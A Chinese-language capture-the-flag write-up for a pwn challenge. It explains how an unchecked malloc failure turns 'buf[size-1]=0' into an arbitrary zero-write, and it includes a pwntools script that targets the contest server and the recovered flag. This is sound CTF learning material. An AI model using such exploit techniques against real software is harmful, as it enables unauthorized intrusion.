打个酱油辅助一下……难以想象整个比赛就这一道 Pwn，也是体验了一波 AK 完睡觉的感觉……
# Pwn
## Description
- Category: Pwn
## Write-ups
保护全开，不过就一个很小的 main 函数：
```c
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_QWORD *ptr; // rbx
char *buf; // rbp
size_t write_size; // rdx
size_t size[5]; // [rsp+0h] [rbp-28h] BYREF
size[1] = __readfsqword(0x28u);
setup();
puts("Welcome.");
ptr = malloc(0x40000u);
*ptr = 1;
_printf_chk(1, "Leak: %pn");
_printf_chk(1, "Length of your message: ");
size[0] = 0;
_isoc99_scanf("%lu", size);
buf = (char *)malloc(size[0]);
_printf_chk(1, "Enter your message: ");
read(0, buf, size[0]);
write_size = size[0];
buf[size[0] - 1] = 0;
write(1, buf, write_size);
if ( !*ptr )
system("cat /flag");
return 0;
}
```
一开始想的是堆溢出，后来调试了一下发现是不可能的（当时还因为没有 libc，手动 patc
h 出毛病，pwndbg 检查不了 heap 等一系列问题浪费了将近一小时……），然后想着有没有
可能改 read 的 size、是不是和整数溢出有关……结果就是，都错了。
不过在思考整数溢出的时候，倒是给了我一些灵感。一开始也不知道如果和整数溢出有关的
话应该做点啥，就直接输入经典的 -1 调试了一下，发现 malloc 因为请求值太大而失败了
，于是乎，就有了下面的解决方案：
程序首先 malloc 返回一个地址，然后将其启始处的值设为 1。之后 if 判断这个值是否为
0, 为 0 就 cat flag 。所以目标自然是将这个值清零。
如果我们给 malloc 传入一个巨大的 size，malloc 会直接失败，返回 0，这样一来 buf
就变成了 NULL 。接着下面的 read 就会向空指针处写入值，也必然失败。由于程序没有检
查 malloc 和 read 的返回值，所以会无视错误继续运行。接下来 `buf[size[0] - 1] = 0
` 就相当于 `((char *)NULL)[size[0] - 1] = 0`，也就是 `*(size[0] - 1) = 0`。
由于 `size[0]` 是我们输入的 size，那我们就获得了一个任意地址写。令 size 为泄漏出
来的地址加一，它就会将泄漏出来的地址处的值清空，成功绕过 if 检测。
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
args,
context,
process,
raw_input,
remote,
)
FILE = "./patched"
HOST, PORT = "new.mhxaskills.cn", 33662
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
target.recvuntil(b"Leak: ")
leak = int(target.recvline().strip(), 16)
# raw_input("DEBUG")
target.sendlineafter(b"Length of your message: ", str(leak + 1).encode())
target.sendlineafter(b"Enter your message: ", b"A")
target.interactive()
if __name__ == "__main__":
main()
```
## Flag
:spoiler[`flag{15655165-6d36-e11d-4e83-5f14cb5d1da5}`]